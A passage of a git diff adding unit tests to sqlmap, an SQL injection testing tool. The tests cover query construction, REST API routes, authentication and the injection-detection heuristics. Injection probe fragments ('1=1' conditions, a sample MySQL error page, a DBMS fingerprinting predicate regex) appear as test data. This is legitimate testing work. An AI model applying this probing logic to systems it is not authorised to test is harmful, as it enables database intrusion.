IF); the + # condition itself is always embedded + self.assertIn("1=1", out, msg=dbms) + # ...but the conditional construct itself must also be present, + # otherwise the "1=1" check alone could pass on a degenerate output. + self.assertTrue("CASE" in out or "IIF" in out or "IF(" in out, + msg="%s missing conditional construct: %s" % (dbms, out)) + + +class TestPrefixSuffixAcrossDialects(unittest.TestCase): + def test_prefix_suffix(self): + for dbms in DIALECTS: + set_dbms(dbms) + prefix = agent.prefixQuery("1=1") + suffix = agent.suffixQuery("1=1") + self.assertIsInstance(prefix, str, msg=dbms) + self.assertIsInstance(suffix, str, msg=dbms) + # prefixQuery pads a leading space ahead of the expression by default + self.assertEqual(prefix, " 1=1", msg="%s prefix: %r" % (dbms, prefix)) + # suffixQuery returns the expression itself (no extra clause/comment) + self.assertEqual(suffix, "1=1", msg="%s suffix: %r" % (dbms, suffix)) + + +class TestRunAsDBMSUserAndWhere(unittest.TestCase): + def test_run_as_user_noop_without_conf(self): + for dbms in DIALECTS: + set_dbms(dbms) + # without conf.dbmsCred the query is returned unchanged + self.assertEqual(agent.runAsDBMSUser("SELECT 1"), "SELECT 1", msg=dbms) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_api.py b/tests/test_api.py new file mode 100644 index 00000000000..a76d814d64c --- /dev/null +++ b/tests/test_api.py @@ -0,0 +1,619 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for the sqlmap REST API (lib/utils/api.py). + +Two complementary angles: + 1. Pure helpers / objects called directly (is_admin, validate_task_options, + the Database and Task classes, the StdDbOut/LogRecorder IPC writers). + 2. The bottle HTTP routes driven through the WSGI app via a minimal in-process + test client (no sockets, no network, no scan subprocess) - task lifecycle, + option get/set, scan status/data/log, admin list/flush, version, auth. + +The scan-data assembler/collector helpers (_storeData / _assembleData / +_sanitizeScanData / _cleanIdentifier / writeReportJson) are pinned separately in +test_report.py; here we focus on what that file does not exercise. +""" + +import io +import json +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.api as api +from lib.core.data import conf +from lib.core.convert import encodeBase64 +from lib.core.enums import CONTENT_STATUS, CONTENT_TYPE +from thirdparty.bottle.bottle import default_app + + +def _wsgi_call(method, path, body=None, headers=None, remote_addr="127.0.0.1"): + """ + Drive the module's bottle routes through the WSGI interface in-process. + Returns (status_code_int, parsed_json_or_None, raw_text). + """ + + app = default_app() + environ = { + "REQUEST_METHOD": method, + "PATH_INFO": path, + "SERVER_NAME": "localhost", + "SERVER_PORT": "80", + "REMOTE_ADDR": remote_addr, + "wsgi.input": io.BytesIO(), + "wsgi.errors": sys.stderr, + "wsgi.url_scheme": "http", + } + + if body is not None: + data = json.dumps(body).encode("utf-8") + environ["CONTENT_TYPE"] = "application/json" + environ["CONTENT_LENGTH"] = str(len(data)) + environ["wsgi.input"] = io.BytesIO(data) + + for key, value in (headers or {}).items(): + environ["HTTP_%s" % key.upper().replace("-", "_")] = value + + captured = {} + + def start_response(status, response_headers, exc_info=None): + captured["status"] = status + + chunks = app(environ, start_response) + raw = b"".join(chunks).decode("utf-8", "replace") + code = int(captured["status"].split(" ", 1)[0]) + + try: + parsed = json.loads(raw) + except ValueError: + parsed = None + + return code, parsed, raw + + +class _ApiServerCase(unittest.TestCase): + """ + Stands up just enough of the API server state (IPC database + DataStore globals) + to drive the routes, snapshotting and restoring every global it touches. + """ + + def setUp(self): + conf.batch = True + + # snapshot mutated globals + self._saved = { + "current_db": api.DataStore.current_db, + "tasks": api.DataStore.tasks, + "admin_token": api.DataStore.admin_token, + "username": api.DataStore.username, + "password": api.DataStore.password, + "filepath": api.Database.filepath, + } + + # fresh in-memory IPC database (same init the server() function performs) + self.db = api.Database(":memory:") + self.db.connect() + self.db.init() + + api.DataStore.current_db = self.db + api.DataStore.tasks = {} + api.DataStore.admin_token = "a" * 32 + api.DataStore.username = None + api.DataStore.password = None + api.Database.filepath = ":memory:" + + def tearDown(self): + try: + self.db.disconnect() + except Exception: + pass + + api.DataStore.current_db = self._saved["current_db"] + api.DataStore.tasks = self._saved["tasks"] + api.DataStore.admin_token = self._saved["admin_token"] + api.DataStore.username = self._saved["username"] + api.DataStore.password = self._saved["password"] + api.Database.filepath = self._saved["filepath"] + + def _new_task(self): + code, parsed, _ = _wsgi_call("GET", "/task/new") + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + return parsed["taskid"] + + +# --------------------------------------------------------------------------- +# Pure helpers / objects +# --------------------------------------------------------------------------- + +class TestGenericHelpers(unittest.TestCase): + def setUp(self): + self._saved_token = api.DataStore.admin_token + + def tearDown(self): + api.DataStore.admin_token = self._saved_token + + def test_is_admin_constant_time_compare(self): + api.DataStore.admin_token = "deadbeef" + self.assertTrue(api.is_admin("deadbeef")) + self.assertFalse(api.is_admin("deadbeer")) + self.assertFalse(api.is_admin(None)) + self.assertFalse(api.is_admin("")) + + +class TestValidateTaskOptions(unittest.TestCase): + def setUp(self): + self._saved_tasks = api.DataStore.tasks + api.DataStore.tasks = {"t1": api.Task("t1", "127.0.0.1")} + + def tearDown(self): + api.DataStore.tasks = self._saved_tasks + + def test_non_dict_rejected(self): + msg = api.validate_task_options("t1", ["level"], "scan_start") + self.assertEqual(msg, "Invalid JSON options") + + def test_unsupported_option_rejected(self): + # reportJson is in RESTAPI_UNSUPPORTED_OPTIONS + msg = api.validate_task_options("t1", {"reportJson": "x.json"}, "scan_start") + self.assertIn("Unsupported option", msg) + self.assertIn("reportJson", msg) + + def test_readonly_option_rejected(self): + # taskid is in RESTAPI_READONLY_OPTIONS + msg = api.validate_task_options("t1", {"taskid": "haxx"}, "option_set") + self.assertIn("Unsupported option", msg) + self.assertIn("taskid", msg) + + def test_unknown_option_rejected(self): + msg = api.validate_task_options("t1", {"nosuchoption": 1}, "option_set") + self.assertIn("Unknown option", msg) + self.assertIn("nosuchoption", msg) + + def test_valid_options_accepted(self): + # a real, supported option returns None (no error message) + self.assertIsNone(api.validate_task_options("t1", {"level": 3, "risk": 2}, "scan_start")) + + +class TestDatabase(unittest.TestCase): + """The IPC Database wrapper: connect/init schema, execute SELECT vs DML, disconnect.""" + + def setUp(self): + self.db = api.Database(":memory:") + self.db.connect("test") + self.db.init() + + def tearDown(self): + self.db.disconnect() + + def test_init_creates_expected_schema(self): + names = set(row[0] for row in self.db.execute("SELECT name FROM sqlite_master WHERE type='table'")) + self.assertTrue({"logs", "data", "errors"}.issubset(names)) + + def test_init_is_idempotent(self): + # "CREATE TABLE IF NOT EXISTS" - running init twice must not raise + self.db.init() + + def test_execute_select_returns_rows_dml_returns_none(self): + self.assertIsNone(self.db.execute("INSERT INTO errors VALUES(NULL, ?, ?)", ("t1", "boom"))) + rows = self.db.execute("SELECT taskid, error FROM errors") + self.assertEqual(rows, [("t1", "boom")]) + + def test_disconnect_is_safe_without_connection(self): + fresh = api.Database(":memory:") # never connected + fresh.disconnect() # must not raise + + +class TestTask(unittest.TestCase): + """The Task object: option defaults, set/get/reset, and the no-process engine paths.""" + + def test_initialize_options_sets_api_markers(self): + t = api.Task("abc123", "10.0.0.1") + self.assertEqual(t.remote_addr, "10.0.0.1") + self.assertIs(t.options.api, True) + self.assertEqual(t.options.taskid, "abc123") + self.assertIs(t.options.batch, True) + self.assertIs(t.options.disableColoring, True) + self.assertIs(t.options.eta, False) + + def test_set_get_reset_options(self): + t = api.Task("abc123", "10.0.0.1") + original_level = t.get_option("level") + t.set_option("level", original_level + 4) + self.assertEqual(t.get_option("level"), original_level + 4) + t.reset_options() + self.assertEqual(t.get_option("level"), original_level) + + def test_get_options_returns_attribdict(self): + t = api.Task("abc123", "10.0.0.1") + opts = t.get_options() + self.assertIs(opts, t.options) + self.assertIn("level", opts) + + def test_engine_paths_without_process(self): + t = api.Task("abc123", "10.0.0.1") + self.assertIsNone(t.engine_process()) + self.assertIsNone(t.engine_get_id()) + self.assertIsNone(t.engine_get_returncode()) + self.assertFalse(t.engine_has_terminated()) + self.assertIsNone(t.engine_stop()) + self.assertIsNone(t.engine_kill()) + + +class TestStdDbOutAndLogRecorder(unittest.TestCase): + """ + StdDbOut and LogRecorder write engine output/logs into the IPC database + (conf.databaseCursor). Verify both write paths land the expected rows. + """ + + def setUp(self): + self.db = api.Database(":memory:") + self.db.connect("client") + self.db.init() + self._saved = { + "stdout": sys.stdout, + "stderr": sys.stderr, + "databaseCursor": conf.get("databaseCursor"), + "taskid": conf.get("taskid"), + "partRun": getattr(__import__("lib.core.data", fromlist=["kb"]).kb, "partRun", None), + } + conf.databaseCursor = self.db + conf.taskid = "t1" + + def tearDown(self): + sys.stdout = self._saved["stdout"] + sys.stderr = self._saved["stderr"] + conf.databaseCursor = self._saved["databaseCursor"] + conf.taskid = self._saved["taskid"] + self.db.disconnect() + + def test_stdout_write_stores_typed_data(self): + # StdDbOut hijacks sys.stdout in __init__; restore it immediately and call write() directly + std = api.StdDbOut("t1", messagetype="stdout") + sys.stdout = self._saved["stdout"] + std.write("MySQL >= 5.0", status=CONTENT_STATUS.COMPLETE, content_type=CONTENT_TYPE.DBMS_FINGERPRINT) + rows = self.db.execute("SELECT taskid, status, content_type FROM data") + self.assertEqual(len(rows), 1) + self.assertEqual(rows[0][0], "t1") + self.assertEqual(rows[0][2], CONTENT_TYPE.DBMS_FINGERPRINT) + # the helpers are noops but must not raise + std.flush(); std.close(); std.seek() + + def test_stderr_write_stores_error(self): + std = api.StdDbOut("t1", messagetype="stderr") + sys.stderr = self._saved["stderr"] + std.write("something failed") + rows = self.db.execute("SELECT taskid, error FROM errors") + self.assertEqual(rows, [("t1", "something failed")]) + + def test_logrecorder_emit_stores_log(self): + import logging + rec = api.LogRecorder() + record = logging.LogRecord("sqlmap", logging.INFO, __file__, 1, "hello %s", ("world",), None) + rec.emit(record) + rows = self.db.execute("SELECT taskid, level, message FROM logs") + self.assertEqual(len(rows), 1) + self.assertEqual(rows[0][0], "t1") + self.assertEqual(rows[0][1], "INFO") + self.assertEqual(rows[0][2], "hello world") + + +# --------------------------------------------------------------------------- +# HTTP routes (WSGI test client) +# --------------------------------------------------------------------------- + +class TestVersionRoute(_ApiServerCase): + def test_version(self): + code, parsed, _ = _wsgi_call("GET", "/version") + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertIn("version", parsed) + self.assertEqual(parsed["api_version"], 2) # MAJOR of RESTAPI_VERSION "2.0.0" + + def test_security_headers_applied(self): + app = default_app() + environ = { + "REQUEST_METHOD": "GET", "PATH_INFO": "/version", + "SERVER_NAME": "localhost", "SERVER_PORT": "80", "REMOTE_ADDR": "127.0.0.1", + "wsgi.input": io.BytesIO(), "wsgi.errors": sys.stderr, "wsgi.url_scheme": "http", + } + captured = {} + + def start_response(status, response_headers, exc_info=None): + captured["headers"] = dict(response_headers) + + b"".join(app(environ, start_response)) + headers = captured["headers"] + self.assertEqual(headers.get("X-Frame-Options"), "DENY") + self.assertEqual(headers.get("X-Content-Type-Options"), "nosniff") + self.assertIn("application/json", headers.get("Content-Type", "")) + + +class TestTaskLifecycle(_ApiServerCase): + def test_new_and_delete(self): + taskid = self._new_task() + self.assertIn(taskid, api.DataStore.tasks) + + code, parsed, _ = _wsgi_call("GET", "/task/%s/delete" % taskid) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertNotIn(taskid, api.DataStore.tasks) + + def test_delete_unknown_task_404(self): + code, parsed, _ = _wsgi_call("GET", "/task/deadbeef/delete") + self.assertEqual(code, 404) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Non-existing task ID") + + +class TestOptionRoutes(_ApiServerCase): + def test_option_list(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/option/%s/list" % taskid) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertIn("level", parsed["options"]) + + def test_option_list_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/option/nope/list") + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_option_set_then_get(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/option/%s/set" % taskid, {"level": 4, "risk": 3}) + self.assertTrue(parsed["success"]) + + code, parsed, _ = _wsgi_call("POST", "/option/%s/get" % taskid, ["level", "risk"]) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["options"], {"level": 4, "risk": 3}) + + def test_option_set_invalid_task(self): + code, parsed, _ = _wsgi_call("POST", "/option/nope/set", {"level": 1}) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_option_set_rejects_unsupported(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/option/%s/set" % taskid, {"reportJson": "x"}) + self.assertFalse(parsed["success"]) + self.assertIn("Unsupported option", parsed["message"]) + + def test_option_get_unknown_option(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/option/%s/get" % taskid, ["nosuchoption"]) + self.assertFalse(parsed["success"]) + self.assertIn("Unknown option", parsed["message"]) + + def test_option_get_invalid_task(self): + code, parsed, _ = _wsgi_call("POST", "/option/nope/get", ["level"]) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + +class TestScanQueryRoutes(_ApiServerCase): + """status/data/log on a task that has never launched a subprocess (no scan started).""" + + def test_status_not_running(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/status" % taskid) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["status"], "not running") + self.assertIsNone(parsed["returncode"]) + + def test_status_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/status") + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_data_empty(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["data"], []) + self.assertEqual(parsed["error"], []) + + def test_data_returns_stored_rows(self): + taskid = self._new_task() + # store a result row directly into the shared IPC db, then read it back via the route + api._storeData(self.db, taskid, "MySQL >= 5.0", CONTENT_STATUS.COMPLETE, CONTENT_TYPE.DBMS_FINGERPRINT) + code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(len(parsed["data"]), 1) + self.assertEqual(parsed["data"][0]["type_name"], "DBMS_FINGERPRINT") + self.assertEqual(parsed["data"][0]["value"], "MySQL >= 5.0") + + def test_data_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/data") + self.assertFalse(parsed["success"]) + + def test_log_empty(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["log"], []) + + def test_log_returns_stored_rows(self): + taskid = self._new_task() + self.db.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (taskid, "00:00:00", "INFO", "started")) + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["log"], [{"time": "00:00:00", "level": "INFO", "message": "started"}]) + + def test_log_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/log") + self.assertFalse(parsed["success"]) + + def test_log_limited_subset(self): + taskid = self._new_task() + for i in range(1, 4): + self.db.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (taskid, "00:00:0%d" % i, "INFO", "m%d" % i)) + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log/1/2" % taskid) + self.assertTrue(parsed["success"]) + self.assertEqual([m["message"] for m in parsed["log"]], ["m1", "m2"]) + + def test_log_limited_bad_range(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/log/5/2" % taskid) + self.assertFalse(parsed["success"]) + self.assertIn("must be digits", parsed["message"]) + + def test_log_limited_invalid_task(self): + code, parsed, _ = _wsgi_call("GET", "/scan/nope/log/1/2") + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_scan_stop_invalid_when_not_running(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/stop" % taskid) + self.assertFalse(parsed["success"]) + + def test_scan_kill_invalid_when_not_running(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/scan/%s/kill" % taskid) + self.assertFalse(parsed["success"]) + + +class TestScanStart(_ApiServerCase): + """scan_start, with the subprocess-spawning seam (engine_start) monkeypatched.""" + + def test_scan_start_invalid_task(self): + code, parsed, _ = _wsgi_call("POST", "/scan/nope/start", {}) + self.assertFalse(parsed["success"]) + self.assertEqual(parsed["message"], "Invalid task ID") + + def test_scan_start_rejects_unsupported_option(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("POST", "/scan/%s/start" % taskid, {"wizard": True}) + self.assertFalse(parsed["success"]) + self.assertIn("Unsupported option", parsed["message"]) + + def test_scan_start_launches_engine(self): + taskid = self._new_task() + task = api.DataStore.tasks[taskid] + + calls = {"started": False} + + class _FakeProc(object): + pid = 4242 + returncode = None + + def poll(self): + return None + + def terminate(self): + pass + + def kill(self): + pass + + def wait(self): + return 0 + + def fake_engine_start(): + calls["started"] = True + task.process = _FakeProc() + + original = task.engine_start + task.engine_start = fake_engine_start + try: + code, parsed, _ = _wsgi_call("POST", "/scan/%s/start" % taskid, {"url": "http://t/?id=1"}) + finally: + task.engine_start = original + + self.assertTrue(calls["started"]) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["engineid"], 4242) + # the provided option was applied to the task + self.assertEqual(task.get_option("url"), "http://t/?id=1") + + +class TestAdminRoutes(_ApiServerCase): + def test_admin_list_with_token(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/admin/%s/list" % api.DataStore.admin_token) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertIn(taskid, parsed["tasks"]) + self.assertEqual(parsed["tasks_num"], 1) + + def test_admin_list_same_remote_addr_without_token(self): + # /admin/list (no token) sees only tasks from the requesting remote_addr + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/admin/list", remote_addr="127.0.0.1") + self.assertTrue(parsed["success"]) + self.assertIn(taskid, parsed["tasks"]) + + def test_admin_list_other_remote_addr_excluded(self): + self._new_task() # created from 127.0.0.1 + code, parsed, _ = _wsgi_call("GET", "/admin/list", remote_addr="10.9.9.9") + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["tasks_num"], 0) + + def test_admin_flush_with_token(self): + self._new_task() + self._new_task() + self.assertEqual(len(api.DataStore.tasks), 2) + code, parsed, _ = _wsgi_call("GET", "/admin/%s/flush" % api.DataStore.admin_token) + self.assertTrue(parsed["success"]) + self.assertEqual(len(api.DataStore.tasks), 0) + + def test_admin_flush_only_own_remote_addr(self): + # task from .1, flush requested by .2 (no token) -> task survives + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/admin/flush", remote_addr="10.0.0.2") + self.assertTrue(parsed["success"]) + self.assertIn(taskid, api.DataStore.tasks) + + +class TestAuthentication(_ApiServerCase): + """check_authentication before_request hook (HTTP Basic) when credentials are configured.""" + + def test_no_credentials_allows_access(self): + api.DataStore.username = None + api.DataStore.password = None + code, parsed, _ = _wsgi_call("GET", "/version") + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + + def test_missing_auth_header_denied(self): + api.DataStore.username = "user" + api.DataStore.password = "pass" + code, _, raw = _wsgi_call("GET", "/version") + self.assertEqual(code, 401) + + def test_wrong_credentials_denied(self): + api.DataStore.username = "user" + api.DataStore.password = "pass" + token = encodeBase64("user:wrong", binary=False) + code, _, raw = _wsgi_call("GET", "/version", headers={"Authorization": "Basic %s" % token}) + self.assertEqual(code, 401) + + def test_correct_credentials_allowed(self): + api.DataStore.username = "user" + api.DataStore.password = "pass" + token = encodeBase64("user:pass", binary=False) + code, parsed, _ = _wsgi_call("GET", "/version", headers={"Authorization": "Basic %s" % token}) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + + def test_malformed_basic_credentials_denied(self): + # base64 of a string without ':' separator -> denied + api.DataStore.username = "user" + api.DataStore.password = "pass" + token = encodeBase64("nocolon", binary=False) + code, _, _ = _wsgi_call("GET", "/version", headers={"Authorization": "Basic %s" % token}) + self.assertEqual(code, 401) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_checks.py b/tests/test_checks.py new file mode 100644 index 00000000000..d0fe284c9d8 --- /dev/null +++ b/tests/test_checks.py @@ -0,0 +1,504 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for lib/controller/checks.py driven with a MOCKED HTTP layer. + +checks.py is the injection-detection controller; almost everything in it goes +through the network seam (lib.request.connect.Connect, imported into the module +as `Request`). By monkeypatching `Request.queryPage` / `Request.getPage` to +return canned (page, headers/ratio, code) tuples - and stubbing `agent.payload` +where the real payload machinery would require a fully-built target - the +decision logic of each check (the kb.*/conf.*/return-value verdict) can be +exercised offline, without a live target, DBMS, or DNS. + +Every test snapshots and restores the conf/kb fields it touches AND every +module attribute it monkeypatches, so ordering between tests (and with the rest +of the suite) is irrelevant. conf.batch is forced on to avoid interactive +prompts, and readInput is stubbed per-test where a branch would prompt. +""" + +import os +import re +import sys +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.controller.checks as checks +from lib.core.data import conf, kb +from lib.core.datatype import AttribDict, InjectionDict +from lib.core.dicts import FROM_DUMMY_TABLE +from lib.core.enums import DBMS +from lib.core.enums import HEURISTIC_TEST +from lib.core.enums import HTTP_HEADER +from lib.core.enums import HTTPMETHOD +from lib.core.enums import NULLCONNECTION +from lib.core.enums import PLACE +from lib.core.settings import SINGLE_QUOTE_MARKER +from lib.core.common import getCurrentThreadData +from lib.parse.html import htmlParser + + +# conf/kb fields any of the checks read or write; snapshotted wholesale so a +# test never leaks state into another test or the rest of the suite. +_CONF_KEYS = ( + "paramDict", "parameters", "url", "hostname", "method", "skipHeuristics", + "prefix", "suffix", "nosql", "graphql", "ldap", "beep", "string", + "notString", "regexp", "regex", "dummy", "offline", "skipWaf", "data", + "hashDB", "cj", "cookie", "dropSetCookie", "httpHeaders", "proxy", "tor", + "tamper", "timeout", "retries", "textOnly", "ignoreCode", "disablePrecon", + "ipv6", "multipleTargets", "level", "base64Parameter", "batch", +) +_KB_KEYS = ( + "heavilyDynamic", "dynamicParameter", "originalPage", "originalPageTime", + "originalCode", "ignoreCasted", "heuristicMode", "disableHtmlDecoding", + "heuristicTest", "heuristicPage", "heuristicCode", "pageStable", + "nullConnection", "pageCompress", "matchRatio", "skipSeqMatcher", + "choices", "injection", "errorIsNone", "serverHeader", "identifiedWafs", + "tamperFunctions", "resendPostOnRedirect", "checkWafMode", "wafBypass", + "heuristicExtendedDbms", "resumeValues", "mergeCookies", "httpErrorCodes", +) + + +def _snapshot(): + return ( + dict((k, conf.get(k)) for k in _CONF_KEYS), + dict((k, kb.get(k)) for k in _KB_KEYS), + ) + + +def _restore(snap): + confSnap, kbSnap = snap + for k, v in confSnap.items(): + conf[k] = v + for k, v in kbSnap.items(): + kb[k] = v + + +class _ChecksTestBase(unittest.TestCase): + """Snapshots conf/kb and the patchable seams; restores them in tearDown.""" + + def setUp(self): + self._snap = _snapshot() + # remember the real seams so monkeypatches can't leak. agent.payload / + # addPayloadDelimiters are class methods on a shared singleton: patching + # sets an *instance* attribute, so it's restored by deleting that + # attribute (reassigning would leave a stale bound method behind). + self._origQueryPage = checks.Request.queryPage + self._origGetPage = checks.Request.getPage + self._agentHadPayload = "payload" in checks.agent.__dict__ + self._agentHadAddDelims = "addPayloadDelimiters" in checks.agent.__dict__ + self._origReadInput = checks.readInput + self._origDbmsErr = checks.wasLastResponseDBMSError + self._origHttpErr = checks.wasLastResponseHTTPError + self._origCBE = checks.checkBooleanExpression + + # sane offline baseline shared by most checks + conf.batch = True + conf.skipHeuristics = False + conf.prefix = conf.suffix = None + conf.hashDB = None + conf.dummy = conf.offline = conf.proxy = conf.tor = None + kb.choices = AttribDict(keycheck=False) + + def tearDown(self): + checks.Request.queryPage = self._origQueryPage + checks.Request.getPage = self._origGetPage + if not self._agentHadPayload and "payload" in checks.agent.__dict__: + del checks.agent.payload + if not self._agentHadAddDelims and "addPayloadDelimiters" in checks.agent.__dict__: + del checks.agent.addPayloadDelimiters + checks.readInput = self._origReadInput + checks.wasLastResponseDBMSError = self._origDbmsErr + checks.wasLastResponseHTTPError = self._origHttpErr + checks.checkBooleanExpression = self._origCBE + _restore(self._snap) + + # --- helpers --- + + def _patchQueryPage(self, fn): + checks.Request.queryPage = staticmethod(fn) + + def _patchGetPage(self, fn): + checks.Request.getPage = staticmethod(fn) + + @staticmethod + def _contentQuery(page, code=200, headers=None): + """A queryPage that returns (page, headers/ratio, code) when content is + requested and a plain truthiness otherwise.""" + def _fn(*args, **kwargs): + if kwargs.get("content"): + return (page, headers, code) + return bool(page) + return _fn + + @staticmethod + def _detectingContentQuery(page, code=200, headers=None): + """Like _contentQuery, but mirrors the real connection layer's + error-detection seam: it advances the request UID and runs the REAL + htmlParser() over the page (exactly as Connect.getPage() does), so the + page is classified by sqlmap's genuine error regexes. The unstubbed + wasLastResponseDBMSError() then reads the threadData.lastErrorPage this + leaves behind - the heuristic verdict is the detector's, not the stub's.""" + def _fn(*args, **kwargs): + threadData = getCurrentThreadData() + kb.requestCounter = (kb.get("requestCounter") or 0) + 1 + threadData.lastRequestUID = kb.requestCounter + htmlParser(page or "") + if kwargs.get("content"): + return (page, headers, code) + return bool(page) + return _fn + + @staticmethod + def _comparingQuery(page, code=200, headers=None): + """A queryPage that, for a non-content request, runs the REAL + comparison() engine of the injected page against kb.pageTemplate (the + same call Connect.queryPage makes for its True/False verdict). The + matchRatio/seqMatcher dynamicity logic therefore actually executes - + the verdict is computed, not hard-coded.""" + def _fn(*args, **kwargs): + if kwargs.get("content"): + return (page, headers, code) + return checks.comparison(page, headers, code, getRatioValue=False) + return _fn + + +class TestHeuristicCheckSqlInjection(_ChecksTestBase): + def setUp(self): + super(TestHeuristicCheckSqlInjection, self).setUp() + conf.paramDict = {PLACE.GET: {"id": "1"}} + conf.parameters = {PLACE.GET: "id=1"} + conf.url = "http://test.invalid/index.php?id=1" + conf.method = None + conf.nosql = conf.graphql = conf.ldap = False + conf.beep = False + kb.heavilyDynamic = False + kb.dynamicParameter = False + kb.originalPage = "" + kb.ignoreCasted = False + # clear any error-page marker left by an earlier request so the real + # wasLastResponseDBMSError() starts from a clean slate + td = getCurrentThreadData() + td.lastErrorPage = tuple() + td.lastRequestUID = 0 + # bypass the full payload-building machinery (needs a built target) + checks.agent.payload = lambda *a, **kw: "PAYLOAD" + + def test_skip_heuristics_returns_none(self): + conf.skipHeuristics = True + self.assertIsNone(checks.heuristicCheckSqlInjection(PLACE.GET, "id")) + + def test_positive_on_dbms_error(self): + # Feed a GENUINE MySQL error page (matches sqlmap's real error regex in + # data/xml/errors.xml) through the detecting stub and let the UNSTUBBED + # wasLastResponseDBMSError() classify it. The POSITIVE verdict is then + # the real detector's, not a hard-coded True. + page = ("You have an error in your SQL syntax; check the " + "manual that corresponds to your MySQL server version") + self._patchQueryPage(self._detectingContentQuery(page)) + result = checks.heuristicCheckSqlInjection(PLACE.GET, "id") + self.assertEqual(result, HEURISTIC_TEST.POSITIVE) + self.assertEqual(kb.heuristicTest, HEURISTIC_TEST.POSITIVE) + + def test_negative_on_clean_page(self): + # A clean page matches none of sqlmap's error regexes, so the unstubbed + # wasLastResponseDBMSError() returns false -> NEGATIVE verdict. + self._patchQueryPage(self._detectingContentQuery("a perfectly ordinary page")) + result = checks.heuristicCheckSqlInjection(PLACE.GET, "id") + self.assertEqual(result, HEURISTIC_TEST.NEGATIVE) + self.assertEqual(kb.heuristicTest, HEURISTIC_TEST.NEGATIVE) + + def test_records_page_and_resets_mode(self): + self._patchQueryPage(self._detectingContentQuery("nothing special here")) + checks.heuristicCheckSqlInjection(PLACE.GET, "id") + # mode flags must be flipped back off after the check + self.assertFalse(kb.heuristicMode) + self.assertFalse(kb.disableHtmlDecoding) + + +class TestHeuristicCheckDbms(_ChecksTestBase): + def setUp(self): + super(TestHeuristicCheckDbms, self).setUp() + kb.injection = InjectionDict() + + def test_skip_heuristics_returns_false(self): + conf.skipHeuristics = True + self.assertFalse(checks.heuristicCheckDbms(InjectionDict())) + + def test_no_match_when_all_expressions_false(self): + checks.checkBooleanExpression = lambda expr: False + self.assertFalse(checks.heuristicCheckDbms(InjectionDict())) + + def test_identifies_dbms_on_distinguishing_pair(self): + # An expr-AWARE oracle that recognises ONLY the predicate + # heuristicCheckDbms() builds for one CHOSEN target DBMS. The function + # iterates every DBMS, forging for each the pair + # positive: (SELECT '')= -> must be True + # negative: (SELECT '')= -> must be False + # ( == SINGLE_QUOTE_MARKER, r1 != r2). The DBMS is reported only when + # the positive holds AND the negative fails. The oracle below returns + # True exactly for that shape - it keys off the chosen DBMS's UNIQUE + # FROM clause (so no other DBMS's predicate matches) and off the two + # quoted literals being equal (so the "must differ" negative is False). + # Firebird is chosen because its FROM clause (' FROM RDB$DATABASE') is + # unique in FROM_DUMMY_TABLE and it is not a HEURISTIC_NULL_EVAL DBMS, + # so heuristicCheckDbms() takes the SELECT-literal predicate path for it. + target = DBMS.FIREBIRD + targetFrom = FROM_DUMMY_TABLE[target] + predicate = re.compile( + r"\(SELECT '([^']*)'( FROM [^)]*)?\)=" 